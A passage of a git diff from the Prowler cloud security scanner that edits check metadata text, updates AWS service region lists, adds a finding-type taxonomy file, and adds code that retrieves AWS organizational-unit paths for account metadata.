a/prowler/providers/alibabacloud/services/sls/sls_root_account_usage_alert_enabled/sls_root_account_usage_alert_enabled.metadata.json b/prowler/providers/alibabacloud/services/sls/sls_root_account_usage_alert_enabled/sls_root_account_usage_alert_enabled.metadata.json index ff8de28cd6..ddb716a2cf 100644 --- a/prowler/providers/alibabacloud/services/sls/sls_root_account_usage_alert_enabled/sls_root_account_usage_alert_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/sls/sls_root_account_usage_alert_enabled/sls_root_account_usage_alert_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::SLS::Alert", "ResourceGroup": "monitoring", - "Description": "**Alibaba Cloud Simple Log Service (SLS)** should have a query and alarm configured for **root account login** attempts. Real-time monitoring of API calls can be achieved by directing **ActionTrail** logs to SLS and establishing corresponding alert rules. This ensures that any usage of the fully privileged root account is detected promptly, supporting the principle of least privilege and enabling timely review of root-level operations.", - "Risk": "Without monitoring for **root account usage**, activities performed by the most privileged account may go unnoticed. The root account has unrestricted access to all resources and services, making it a high-value target for attackers. Failure to detect unauthorized root account usage increases the risk of **complete account takeover**, **data destruction**, and **irreversible configuration changes** that could compromise the **confidentiality**, **integrity**, and **availability** of all cloud resources.", + "Description": "**Alibaba Cloud SLS** should have an alarm configured for **root account login** attempts. By directing **ActionTrail** logs to SLS with alert rules, usage of the fully privileged root account is detected promptly, supporting least privilege and enabling timely review of root-level operations.", + "Risk": "Without monitoring for **root account usage**, activities by the most privileged account may go unnoticed. The root account has unrestricted access to all resources, making it a high-value target. Failure to detect unauthorized usage increases risk of **account takeover**, **data destruction**, and **irreversible changes** compromising **confidentiality**, **integrity**, and **availability**.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/doc-detail/91784.htm", diff --git a/prowler/providers/alibabacloud/services/sls/sls_security_group_changes_alert_enabled/sls_security_group_changes_alert_enabled.metadata.json b/prowler/providers/alibabacloud/services/sls/sls_security_group_changes_alert_enabled/sls_security_group_changes_alert_enabled.metadata.json index b80e7da84b..1cbf78d7c9 100644 --- a/prowler/providers/alibabacloud/services/sls/sls_security_group_changes_alert_enabled/sls_security_group_changes_alert_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/sls/sls_security_group_changes_alert_enabled/sls_security_group_changes_alert_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::SLS::Alert", "ResourceGroup": "monitoring", - "Description": "**Alibaba Cloud Simple Log Service (SLS)** should have a query and alarm configured for changes to **Security Groups**. Real-time monitoring of API calls can be achieved by directing **ActionTrail** logs to SLS and establishing corresponding alert rules. **Security Groups** are stateful packet filters that control ingress and egress traffic within a VPC, and monitoring their changes ensures that network access modifications are promptly detected and reviewed.", - "Risk": "Without monitoring for **security group changes**, unauthorized modifications to network access controls may go undetected. This could lead to resources and services being **unintentionally exposed** to the internet or untrusted networks. Unauthorized security group modifications increase the risk of **network exposure**, **unauthorized access**, and **lateral movement** within the cloud environment, potentially compromising the **confidentiality** and **availability** of critical services.", + "Description": "**Alibaba Cloud SLS** should have an alarm configured for **Security Group** changes. By directing **ActionTrail** logs to SLS with alert rules, real-time monitoring is achieved. **Security Groups** are stateful packet filters controlling VPC ingress and egress traffic; monitoring their changes ensures network access modifications are promptly detected.", + "Risk": "Without monitoring for **security group changes**, unauthorized modifications to network access controls may go undetected, leading to resources being **exposed** to untrusted networks. This increases risk of **network exposure**, **unauthorized access**, and **lateral movement**, potentially compromising **confidentiality** and **availability** of critical services.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/doc-detail/91784.htm", diff --git a/prowler/providers/alibabacloud/services/sls/sls_unauthorized_api_calls_alert_enabled/sls_unauthorized_api_calls_alert_enabled.metadata.json b/prowler/providers/alibabacloud/services/sls/sls_unauthorized_api_calls_alert_enabled/sls_unauthorized_api_calls_alert_enabled.metadata.json index fb2d54f3c0..de9b3e4e0f 100644 --- a/prowler/providers/alibabacloud/services/sls/sls_unauthorized_api_calls_alert_enabled/sls_unauthorized_api_calls_alert_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/sls/sls_unauthorized_api_calls_alert_enabled/sls_unauthorized_api_calls_alert_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::SLS::Alert", "ResourceGroup": "monitoring", - "Description": "**Alibaba Cloud Simple Log Service (SLS)** should have a query and alarm configured for **unauthorized API calls**. Real-time monitoring of API calls can be achieved by directing **ActionTrail** logs to SLS and establishing corresponding alert rules. This ensures that any API calls resulting in unauthorized errors are detected promptly, helping identify misconfigured applications, compromised credentials, or active reconnaissance by attackers.", - "Risk": "Without monitoring for **unauthorized API calls**, patterns of failed access attempts may go undetected. These patterns often indicate **malicious activity** such as attackers probing for permissions or attempting to exploit misconfigured access controls. Failure to detect unauthorized API calls in a timely manner increases the risk of **security breaches**, as it delays identification of compromised credentials and **privilege escalation** attempts across cloud services.", + "Description": "**Alibaba Cloud SLS** should have an alarm configured for **unauthorized API calls**. By directing **ActionTrail** logs to SLS with alert rules, API calls resulting in unauthorized errors are detected promptly, helping identify misconfigured applications, compromised credentials, or active attacker reconnaissance.", + "Risk": "Without monitoring for **unauthorized API calls**, failed access patterns may go undetected. These often indicate **malicious activity** such as permission probing or exploiting misconfigured access controls. Delayed detection increases risk of **security breaches** by delaying identification of compromised credentials and **privilege escalation** attempts.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/doc-detail/91784.htm", diff --git a/prowler/providers/alibabacloud/services/sls/sls_vpc_changes_alert_enabled/sls_vpc_changes_alert_enabled.metadata.json b/prowler/providers/alibabacloud/services/sls/sls_vpc_changes_alert_enabled/sls_vpc_changes_alert_enabled.metadata.json index fe091fd369..85e0860554 100644 --- a/prowler/providers/alibabacloud/services/sls/sls_vpc_changes_alert_enabled/sls_vpc_changes_alert_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/sls/sls_vpc_changes_alert_enabled/sls_vpc_changes_alert_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::SLS::Alert", "ResourceGroup": "monitoring", - "Description": "**Alibaba Cloud Simple Log Service (SLS)** should have a log search/analysis query and alarm configured for **VPC** changes. By directing **ActionTrail** logs to SLS and establishing corresponding alert rules, real-time monitoring of VPC modifications can be achieved. This ensures that any creation, deletion, or modification of VPCs and their associated components is promptly detected and reviewed.", - "Risk": "Without monitoring for **VPC changes**, unauthorized or accidental modifications to virtual network infrastructure may go undetected. This could disrupt **network connectivity**, create **security vulnerabilities**, or expose internal resources to untrusted networks. Unauthorized VPC modifications increase the risk of **service disruption**, **data interception**, and **lateral movement** within the cloud environment, potentially compromising the **confidentiality** and **availability** of all connected resources.", + "Description": "**Alibaba Cloud SLS** should have an alarm configured for **VPC** changes. By directing **ActionTrail** logs to SLS with alert rules, VPC modifications are monitored in real time. This ensures creation, deletion, or modification of VPCs and associated components is promptly detected.", + "Risk": "Without monitoring for **VPC changes**, unauthorized modifications to network infrastructure may go undetected, disrupting **connectivity**, creating **vulnerabilities**, or exposing internal resources. This increases risk of **service disruption**, **data interception**, and **lateral movement**, compromising **confidentiality** and **availability** of connected resources.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/doc-detail/91784.htm", diff --git a/prowler/providers/alibabacloud/services/sls/sls_vpc_network_route_changes_alert_enabled/sls_vpc_network_route_changes_alert_enabled.metadata.json b/prowler/providers/alibabacloud/services/sls/sls_vpc_network_route_changes_alert_enabled/sls_vpc_network_route_changes_alert_enabled.metadata.json index 626ab7becf..7067f096a6 100644 --- a/prowler/providers/alibabacloud/services/sls/sls_vpc_network_route_changes_alert_enabled/sls_vpc_network_route_changes_alert_enabled.metadata.json +++ b/prowler/providers/alibabacloud/services/sls/sls_vpc_network_route_changes_alert_enabled/sls_vpc_network_route_changes_alert_enabled.metadata.json @@ -9,8 +9,8 @@ "Severity": "medium", "ResourceType": "ALIYUN::SLS::Alert", "ResourceGroup": "monitoring", - "Description": "**Alibaba Cloud Simple Log Service (SLS)** should have a metric filter and alarm configured for **VPC network route** changes. By directing **ActionTrail** logs to SLS and establishing corresponding alert rules, real-time monitoring of route table modifications can be achieved. This ensures that any creation, deletion, or modification of route entries is promptly detected, helping verify that all VPC traffic flows through the expected network paths.", - "Risk": "Without monitoring for **route table changes**, unauthorized modifications to network routes may go undetected. This could allow attackers to redirect traffic through **malicious intermediaries** for interception or manipulation. Undetected route changes increase the risk of **man-in-the-middle attacks**, **data exfiltration**, and **service disruption**, as traffic may be silently diverted away from intended destinations, compromising the **confidentiality** and **integrity** of data in transit.", + "Description": "**Alibaba Cloud SLS** should have an alarm configured for **VPC network route** changes. By directing **ActionTrail** logs to SLS with alert rules, route table modifications are monitored in real time. This ensures creation, deletion, or modification of route entries is detected, verifying VPC traffic flows through expected paths.", + "Risk": "Without monitoring for **route table changes**, unauthorized route modifications may go undetected, allowing attackers to redirect traffic through **malicious intermediaries**. This increases risk of **man-in-the-middle attacks**, **data exfiltration**, and **service disruption** as traffic is diverted from intended destinations, compromising **confidentiality** and **integrity**.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.alibabacloud.com/help/en/doc-detail/91784.htm", diff --git a/prowler/providers/aws/aws_provider.py b/prowler/providers/aws/aws_provider.py index 556b2f33c3..e5adbd5022 100644 --- a/prowler/providers/aws/aws_provider.py +++ b/prowler/providers/aws/aws_provider.py @@ -435,14 +435,16 @@ class AwsProvider(Provider): f"Getting AWS Organizations metadata for account {aws_account_id}" ) - organizations_metadata, list_tags_for_resource = get_organizations_metadata( - aws_account_id=aws_account_id, - session=organizations_session, + organizations_metadata, list_tags_for_resource, ou_metadata = ( + get_organizations_metadata( + aws_account_id=aws_account_id, + session=organizations_session, + ) ) if organizations_metadata: organizations_metadata = parse_organizations_metadata( - organizations_metadata, list_tags_for_resource + organizations_metadata, list_tags_for_resource, ou_metadata ) logger.info( f"AWS Organizations metadata retrieved for account {aws_account_id}" diff --git a/prowler/providers/aws/aws_regions_by_service.json b/prowler/providers/aws/aws_regions_by_service.json index db1e4c05ff..3a414e5f77 100644 --- a/prowler/providers/aws/aws_regions_by_service.json +++ b/prowler/providers/aws/aws_regions_by_service.json @@ -224,6 +224,23 @@ "aws-us-gov": [] } }, + "aiops": { + "regions": { + "aws": [ + "ap-northeast-1", + "ap-south-1", + "ap-southeast-1", + "ap-southeast-2", + "ap-southeast-5", + "ap-southeast-7", + "eu-north-1", + "eu-south-2" + ], + "aws-cn": [], + "aws-eusc": [], + "aws-us-gov": [] + } + }, "aiq": { "regions": { "aws": [ @@ -1567,12 +1584,14 @@ "bedrock-data-automation": { "regions": { "aws": [ + "ap-northeast-1", "ap-south-1", "ap-southeast-2", "eu-central-1", "eu-west-1", "eu-west-2", "us-east-1", + "us-east-2", "us-west-2" ], "aws-cn": [], @@ -1614,6 +1633,16 @@ ] } }, + "billing": { + "regions": { + "aws": [ + "us-east-1" + ], + "aws-cn": [], + "aws-eusc": [], + "aws-us-gov": [] + } + }, "billingconductor": { "regions": { "aws": [ @@ -2727,6 +2756,7 @@ "aws": [ "af-south-1", "ap-east-1", + "ap-east-2", "ap-northeast-1", "ap-northeast-2", "ap-northeast-3", @@ -2737,6 +2767,7 @@ "ap-southeast-3", "ap-southeast-4", "ap-southeast-5", + "ap-southeast-6", "ap-southeast-7", "ca-central-1", "ca-west-1", @@ -2821,6 +2852,7 @@ "aws": [ "af-south-1", "ap-east-1", + "ap-east-2", "ap-northeast-1", "ap-northeast-2", "ap-northeast-3", @@ -2831,6 +2863,7 @@ "ap-southeast-3", "ap-southeast-4", "ap-southeast-5", + "ap-southeast-6", "ap-southeast-7", "ca-central-1", "ca-west-1", @@ -3729,10 +3762,12 @@ "ap-southeast-1", "ap-southeast-2", "ap-southeast-3", + "ap-southeast-4", "ap-southeast-5", "ap-southeast-7", "ca-central-1", "eu-central-1", + "eu-central-2", "eu-north-1", "eu-south-1", "eu-south-2", @@ -3857,6 +3892,10 @@ "ap-northeast-1", "ap-northeast-2", "ap-northeast-3", + "ap-southeast-2", + "ap-southeast-4", + "ca-central-1", + "ca-west-1", "eu-central-1", "eu-west-1", "eu-west-2", @@ -5080,6 +5119,7 @@ "ap-southeast-3", "ap-southeast-4", "ap-southeast-5", + "ap-southeast-6", "ap-southeast-7", "ca-central-1", "ca-west-1", @@ -5817,6 +5857,7 @@ "ap-southeast-3", "ap-southeast-4", "ap-southeast-5", + "ap-southeast-6", "ap-southeast-7", "ca-central-1", "ca-west-1", @@ -6225,25 +6266,6 @@ "aws-us-gov": [] } }, - "iotanalytics": { - "regions": { - "aws": [ - "ap-northeast-1", - "ap-south-1", - "ap-southeast-2", - "eu-central-1", - "eu-west-1", - "us-east-1", - "us-east-2", - "us-west-2" - ], - "aws-cn": [ - "cn-north-1" - ], - "aws-eusc": [], - "aws-us-gov": [] - } - }, "iotdeviceadvisor": { "regions": { "aws": [ @@ -7059,16 +7081,6 @@ ] } }, - "lex-models": { - "regions": { - "aws": [ - "us-east-1" - ], - "aws-cn": [], - "aws-eusc": [], - "aws-us-gov": [] - } - }, "lex-runtime": { "regions": { "aws": [ @@ -7589,6 +7601,18 @@ ] } }, + "marketplace-agreement": { + "regions": { + "aws": [ + "us-east-1" + ], + "aws-cn": [], + "aws-eusc": [ + "eusc-de-east-1" + ], + "aws-us-gov": [] + } + }, "marketplace-catalog": { "regions": { "aws": [ @@ -7700,6 +7724,7 @@ "ap-southeast-1", "ap-southeast-2", "ap-southeast-4", + "ap-southeast-5", "ca-central-1", "eu-central-1", "eu-north-1", @@ -7733,6 +7758,7 @@ "ap-southeast-1", "ap-southeast-2", "ap-southeast-4", + "ap-southeast-5", "ca-central-1", "eu-central-1", "eu-north-1", @@ -8225,14 +8251,19 @@ "mwaa-serverless": { "regions": { "aws": [ + "af-south-1", + "ap-east-1", "ap-northeast-1", "ap-northeast-2", "ap-south-1", "ap-southeast-1", "ap-southeast-2", + "ap-southeast-7", "ca-central-1", "eu-central-1", + "eu-central-2", "eu-north-1", + "eu-south-2", "eu-west-1", "eu-west-2", "eu-west-3", @@ -8367,7 +8398,9 @@ "cn-north-1", "cn-northwest-1" ], - "aws-eusc": [], + "aws-eusc": [ + "eusc-de-east-1" + ], "aws-us-gov": [ "us-gov-east-1", "us-gov-west-1" @@ -8601,22 +8634,33 @@ "observabilityadmin": { "regions": { "aws": [ + "af-south-1", "ap-east-1", + "ap-east-2", "ap-northeast-1", "ap-northeast-2", "ap-northeast-3", "ap-south-1", + "ap-south-2", "ap-southeast-1", "ap-southeast-2", + "ap-southeast-3", + "ap-southeast-4", "ap-southeast-5", + "ap-southeast-6", "ap-southeast-7", "ca-central-1", + "ca-west-1", "eu-central-1", + "eu-central-2", "eu-north-1", + "eu-south-1", "eu-south-2", "eu-west-1", "eu-west-2", "eu-west-3", + "il-central-1", + "mx-central-1", "sa-east-1", "us-east-1", "us-east-2", @@ -8632,8 +8676,10 @@ "regions": { "aws": [ "ap-northeast-1", + "ap-southeast-2", "ca-central-1", "eu-central-1", + "eu-west-1", "us-east-1", "us-east-2", "us-west-2" @@ -9056,12 +9102,14 @@ "regions": { "aws": [ "ap-northeast-1", + "ap-south-1", "ap-southeast-1", "ap-southeast-2", "eu-central-1", "eu-north-1", "eu-west-1", "eu-west-2", + "eu-west-3", "us-east-1", "us-east-2", "us-west-2" @@ -9438,7 +9486,10 @@ ], "aws-cn": [], "aws-eusc": [], - "aws-us-gov": [] + "aws-us-gov": [ + "us-gov-east-1", + "us-gov-west-1" + ] } }, "quicksight": { @@ -9451,6 +9502,7 @@ "ap-southeast-1", "ap-southeast-2", "ap-southeast-3", + "ap-southeast-5", "ca-central-1", "eu-central-1", "eu-central-2", @@ -10430,7 +10482,9 @@ "us-west-2" ], "aws-cn": [], - "aws-eusc": [], + "aws-eusc": [ + "eusc-de-east-1" + ], "aws-us-gov": [ "us-gov-east-1", "us-gov-west-1" @@ -10747,6 +10801,7 @@ "ap-southeast-3", "ap-southeast-4", "ap-southeast-5", + "ap-southeast-6", "ap-southeast-7", "ca-central-1", "ca-west-1", @@ -10772,7 +10827,9 @@ "cn-north-1", "cn-northwest-1" ], - "aws-eusc": [], + "aws-eusc": [ + "eusc-de-east-1" + ], "aws-us-gov": [ "us-gov-east-1", "us-gov-west-1" @@ -11984,6 +12041,7 @@ "ap-southeast-3", "ap-southeast-4", "ap-southeast-5", + "ap-southeast-6", "ap-southeast-7", "ca-central-1", "ca-west-1", @@ -12422,6 +12480,7 @@ "eu-west-2", "eu-west-3", "me-central-1", + "sa-east-1", "us-east-1", "us-east-2", "us-west-2" @@ -12503,6 +12562,7 @@ "ap-southeast-2", "ca-central-1", "eu-central-1", + "eu-central-2", "eu-north-1", "eu-west-1", "eu-west-2", diff --git a/prowler/providers/aws/config/check_types.json b/prowler/providers/aws/config/check_types.json new file mode 100644 index 0000000000..ce43c32e23 --- /dev/null +++ b/prowler/providers/aws/config/check_types.json @@ -0,0 +1,88 @@ +{ + "Software and Configuration Checks": { + "Vulnerabilities": { + "CVE": {} + }, + "AWS Security Best Practices": { + "Network Reachability": {}, + "Network Security": {}, + "Runtime Behavior Analysis": {}, + "Data Encryption": {}, + "Encryption at Rest": {}, + "Encryption in Transit": {} + }, + "Industry and Regulatory Standards": { + "AWS Foundational Security Best Practices": {}, + "CIS Host Hardening Benchmarks": {}, + "CIS AWS Foundations Benchmark": {}, + "PCI-DSS": {}, + "Cloud Security Alliance Controls": {}, + "ISO 90001 Controls": {}, + "ISO 27001 Controls": {}, + "ISO 27017 Controls": {}, + "ISO 27018 Controls": {}, + "SOC 1": {}, + "SOC 2": {}, + "HIPAA Controls (USA)": {}, + "NIST 800-53 Controls": {}, + "NIST 800-53 Controls (USA)": {}, + "NIST CSF Controls (USA)": {}, + "IRAP Controls (Australia)": {}, + "K-ISMS Controls (Korea)": {}, + "MTCS Controls (Singapore)": {}, + "FISC Controls (Japan)": {}, + "My Number Act Controls (Japan)": {}, + "ENS Controls (Spain)": {}, + "Cyber Essentials Plus Controls (UK)": {}, + "G-Cloud Controls (UK)": {}, + "C5 Controls (Germany)": {}, + "IT-Grundschutz Controls (Germany)": {}, + "GDPR Controls (Europe)": {}, + "TISAX Controls (Europe)": {} + }, + "Patch Management": {} + }, + "TTPs": { + "Initial Access": { + "Unauthorized Access": {}, + "External Remote Services": {}, + "Valid Accounts": {} + }, + "Execution": {}, + "Persistence": {}, + "Privilege Escalation": {}, + "Defense Evasion": {}, + "Credential Access": {}, + "Discovery": {}, + "Lateral Movement": {}, + "Collection": {}, + "Command and Control": {} + }, + "Effects": { + "Data Exposure": {}, + "Data Exfiltration": {}, + "Data Destruction": {}, + "Denial of Service": {}, + "Resource Consumption": {} + }, + "Unusual Behaviors": { + "Application": {}, + "Network Flow": {}, + "IP address": {}, + "User": {}, + "VM": {}, + "Container": {}, + "Serverless": {}, + "Process": {}, + "Database": {}, + "Data": {} + }, + "Sensitive Data Identifications": { + "PII": {}, + "Passwords": {}, + "Legal": {}, + "Financial": {}, + "Security": {}, + "Business": {} + } +} diff --git a/prowler/providers/aws/lib/organizations/organizations.py b/prowler/providers/aws/lib/organizations/organizations.py index 9e4eefb42a..5e152a790b 100644 --- a/prowler/providers/aws/lib/organizations/organizations.py +++ b/prowler/providers/aws/lib/organizations/organizations.py @@ -5,10 +5,44 @@ from prowler.providers.aws.lib.arn.models import ARN from prowler.providers.aws.models import AWSOrganizationsInfo +def _get_ou_metadata(organizations_client, account_id): + try: + parents = organizations_client.list_parents(ChildId=account_id)["Parents"] + if not parents: + return {"ou_id": "", "ou_path": ""} + + parent = parents[0] + if parent["Type"] == "ROOT": + return {"ou_id": "", "ou_path": ""} + + direct_ou_id = parent["Id"] + path_parts = [] + current_id = direct_ou_id + + while True: + ou_info = organizations_client.describe_organizational_unit( + OrganizationalUnitId=current_id + ) + path_parts.append(ou_info["OrganizationalUnit"]["Name"]) + + parents = organizations_client.list_parents(ChildId=current_id)["Parents"] + if not parents or parents[0]["Type"] == "ROOT": + break + current_id = parents[0]["Id"] + + path_parts.reverse() + return {"ou_id": direct_ou_id, "ou_path": "/".join(path_parts)} + except Exception as error: + logger.warning( + f"{error.__class__.__name__}[{error.__traceback__.tb_lineno}]: {error}" + ) + return {} + + def get_organizations_metadata( aws_account_id: str, session: session.Session, -) -> tuple[dict, dict]: +) -> tuple[dict, dict, dict]: try: organizations_client = session.client("organizations") @@ -19,15 +53,19 @@ def get_organizations_metadata( ResourceId=aws_account_id ) - return organizations_metadata, list_tags_for_resource + ou_metadata = _get_ou_metadata(organizations_client, aws_account_id) + + return organizations_metadata, list_tags_for_resource, ou_metadata except Exception as error: logger.warning( f"{error.__class__.__name__}[{error.__traceback__.tb_lineno}]: {error}" ) - return {}, {} + return {}, {}, {} -def parse_organizations_metadata(metadata: dict, tags: dict) -> AWSOrganizationsInfo: +def parse_organizations_metadata( + metadata: dict, tags: dict, ou_metadata: dict = None +) -> AWSOrganizationsInfo: try: # Convert Tags dictionary to String account_details_tags = {} @@ -47,6 +85,8 @@ def parse_organizations_metadata(metadata: dict, tags: dict) -> AWSOrganizations organization_arn=aws_organization_arn, organization_id=aws_organization_id, account_tags=account_details_tags, + account_ou_id=ou_metadata.get("ou_id", "") if ou_metadata else "", + account_ou_name=ou_metadata.get("ou_path", "") if ou_metadata else "", ) except Exception as error: logger.warning( diff --git a/prowler/providers/aws/models.py b/prowler/providers/aws/models.py index e90999a69b..488706f682 100644 --- a/prowler/providers/aws/models.py +++ b/prowler/providers/aws/models.py @@ -19,6 +19,8 @@ class AWSOrganizationsInfo: organization_arn: str organization_id: str account_tags: list[str] + account_ou_id: str = "" + account_ou_name: str = "" @dataclass diff --git a/prowler/providers/aws/services/cloudtrail/cloudtrail_logs_s3_bucket_is_not_publicly_accessible/cloudtrail_logs_s3_bucket_is_not_publicly_accessible.metadata.json b/prowler/providers/aws/services/cloudtrail/cloudtrail_logs_s3_bucket_is_not_publicly_accessible/cloudtrail_logs_s3_bucket_is_not_publicly_accessible.metadata.json index 20d7b45a6c..3e671f496d 100644 --- a/prowler/providers/aws/services/cloudtrail/cloudtrail_logs_s3_bucket_is_not_publicly_accessible/cloudtrail_logs_s3_bucket_is_not_publicly_accessible.metadata.json +++ b/prowler/providers/aws/services/cloudtrail/cloudtrail_logs_s3_bucket_is_not_publicly_accessible/cloudtrail_logs_s3_bucket_is_not_publicly_accessible.metadata.json @@ -4,8 +4,8 @@ "CheckTitle": "CloudTrail trail S3 bucket is not publicly accessible", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices/Network Reachability", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", - "Industry and Regulatory Standards/CIS AWS Foundations Benchmark", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/CIS AWS Foundations Benchmark", "Effects/Data Exposure" ], "ServiceName": "cloudtrail", diff --git a/prowler/providers/aws/services/cloudwatch/cloudwatch_alarm_actions_enabled/cloudwatch_alarm_actions_enabled.metadata.json b/prowler/providers/aws/services/cloudwatch/cloudwatch_alarm_actions_enabled/cloudwatch_alarm_actions_enabled.metadata.json index 26d1f8114a..f4faec42a1 100644 --- a/prowler/providers/aws/services/cloudwatch/cloudwatch_alarm_actions_enabled/cloudwatch_alarm_actions_enabled.metadata.json +++ b/prowler/providers/aws/services/cloudwatch/cloudwatch_alarm_actions_enabled/cloudwatch_alarm_actions_enabled.metadata.json @@ -4,7 +4,7 @@ "CheckTitle": "CloudWatch metric alarm has actions enabled", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", "TTPs/Defense Evasion" ], "ServiceName": "cloudwatch", diff --git a/prowler/providers/aws/services/codepipeline/codepipeline_project_repo_private/codepipeline_project_repo_private.metadata.json b/prowler/providers/aws/services/codepipeline/codepipeline_project_repo_private/codepipeline_project_repo_private.metadata.json index 07ba280f90..d718d125a9 100644 --- a/prowler/providers/aws/services/codepipeline/codepipeline_project_repo_private/codepipeline_project_repo_private.metadata.json +++ b/prowler/providers/aws/services/codepipeline/codepipeline_project_repo_private/codepipeline_project_repo_private.metadata.json @@ -12,7 +12,7 @@ "ResourceType": "AwsCodePipelinePipeline", "ResourceGroup": "devops", "Description": "**CodePipeline pipeline** should configure its **source stage** to use a **private repository** with authenticated connection rather than a public GitHub or GitLab repository. This ensures deployment configurations, build artifacts, and CI/CD logic remain protected from unauthorized access.", - "Risk": "Using **public repositories** as pipeline sources exposes deployment configurations, infrastructure code, and CI/CD workflows to anyone on the internet. \n\nThis increases the risk of **supply chain attacks**, **credential exposure**, and **intellectual property theft**. Adversaries can study deployment patterns, identify security gaps, inject malicious code, or leverage exposed secrets to compromise **confidentiality**, **integrity**, and **availability** of production systems.", + "Risk": "Using **public repositories** as pipeline sources exposes deployment configurations and CI/CD workflows to the internet, increasing risk of **supply chain attacks**, **credential exposure**, and **intellectual property theft**. Adversaries can inject malicious code or leverage exposed secrets to compromise production systems.", "RelatedUrl": "", "AdditionalURLs": [ "https://docs.aws.amazon.com/codepipeline/latest/userguide/welcome.html", @@ -31,8 +31,8 @@ } }, "Categories": [ - "supply-chain-security", - "secrets-management" + "software-supply-chain", + "secrets" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/aws/services/cognito/cognito_user_pool_waf_acl_attached/cognito_user_pool_waf_acl_attached.metadata.json b/prowler/providers/aws/services/cognito/cognito_user_pool_waf_acl_attached/cognito_user_pool_waf_acl_attached.metadata.json index 24608af13b..4a4b5dff6d 100644 --- a/prowler/providers/aws/services/cognito/cognito_user_pool_waf_acl_attached/cognito_user_pool_waf_acl_attached.metadata.json +++ b/prowler/providers/aws/services/cognito/cognito_user_pool_waf_acl_attached/cognito_user_pool_waf_acl_attached.metadata.json @@ -4,7 +4,7 @@ "CheckTitle": "Amazon Cognito user pool is associated with a WAF Web ACL", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", "Effects/Denial of Service" ], "ServiceName": "cognito", diff --git a/prowler/providers/aws/services/directoryservice/directoryservice_supported_mfa_radius_enabled/directoryservice_supported_mfa_radius_enabled.metadata.json b/prowler/providers/aws/services/directoryservice/directoryservice_supported_mfa_radius_enabled/directoryservice_supported_mfa_radius_enabled.metadata.json index a022b44f63..4f585e358e 100644 --- a/prowler/providers/aws/services/directoryservice/directoryservice_supported_mfa_radius_enabled/directoryservice_supported_mfa_radius_enabled.metadata.json +++ b/prowler/providers/aws/services/directoryservice/directoryservice_supported_mfa_radius_enabled/directoryservice_supported_mfa_radius_enabled.metadata.json @@ -4,7 +4,7 @@ "CheckTitle": "AWS Directory Service directory has RADIUS-based MFA enabled", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", "TTPs/Initial Access", "TTPs/Credential Access" ], diff --git a/prowler/providers/aws/services/documentdb/documentdb_cluster_backup_enabled/documentdb_cluster_backup_enabled.metadata.json b/prowler/providers/aws/services/documentdb/documentdb_cluster_backup_enabled/documentdb_cluster_backup_enabled.metadata.json index d5c0c00cbf..03b49b2801 100644 --- a/prowler/providers/aws/services/documentdb/documentdb_cluster_backup_enabled/documentdb_cluster_backup_enabled.metadata.json +++ b/prowler/providers/aws/services/documentdb/documentdb_cluster_backup_enabled/documentdb_cluster_backup_enabled.metadata.json @@ -4,7 +4,7 @@ "CheckTitle": "DocumentDB cluster has automated backups enabled with retention period of at least 7 days", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", "Effects/Data Destruction" ], "ServiceName": "documentdb", diff --git a/prowler/providers/aws/services/ec2/ec2_instance_port_mysql_exposed_to_internet/ec2_instance_port_mysql_exposed_to_internet.metadata.json b/prowler/providers/aws/services/ec2/ec2_instance_port_mysql_exposed_to_internet/ec2_instance_port_mysql_exposed_to_internet.metadata.json index 4d0e38cad9..5bb5e44bc3 100644 --- a/prowler/providers/aws/services/ec2/ec2_instance_port_mysql_exposed_to_internet/ec2_instance_port_mysql_exposed_to_internet.metadata.json +++ b/prowler/providers/aws/services/ec2/ec2_instance_port_mysql_exposed_to_internet/ec2_instance_port_mysql_exposed_to_internet.metadata.json @@ -4,7 +4,7 @@ "CheckTitle": "EC2 instance does not allow ingress from the Internet to TCP port 3306 (MySQL)", "CheckType": [ "Software and Configuration Checks/AWS Security Best Practices/Network Reachability", - "Industry and Regulatory Standards/AWS Foundational Security Best Practices", + "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices", "TTPs/Initial Access/Unauthorized Access", "Effects/Data Exposure" ], diff --git a/prowler/providers/aws/services/ec2/ec2_networkacl_unused/ec2_networkacl_unused.metadata.json b/prowler/providers/aws/services/ec2/ec2_networkacl_unused/ec2_networkacl_unused.metadata.json index 6f6c696085..13aec73860 100644 --- a/prowler/providers/aws/services/ec2/ec2_networkacl_unused/ec2_networkacl_unused.metadata.json +++ b/prowler/providers/aws/services/ec2/ec2_networkacl_unused/ec2_networkacl_unused.metadata.json @@ -4,7 +4,7 @@ "CheckTitle": "Non-default network ACL is associated with a subnet", "CheckType": [ "Software and Configuration 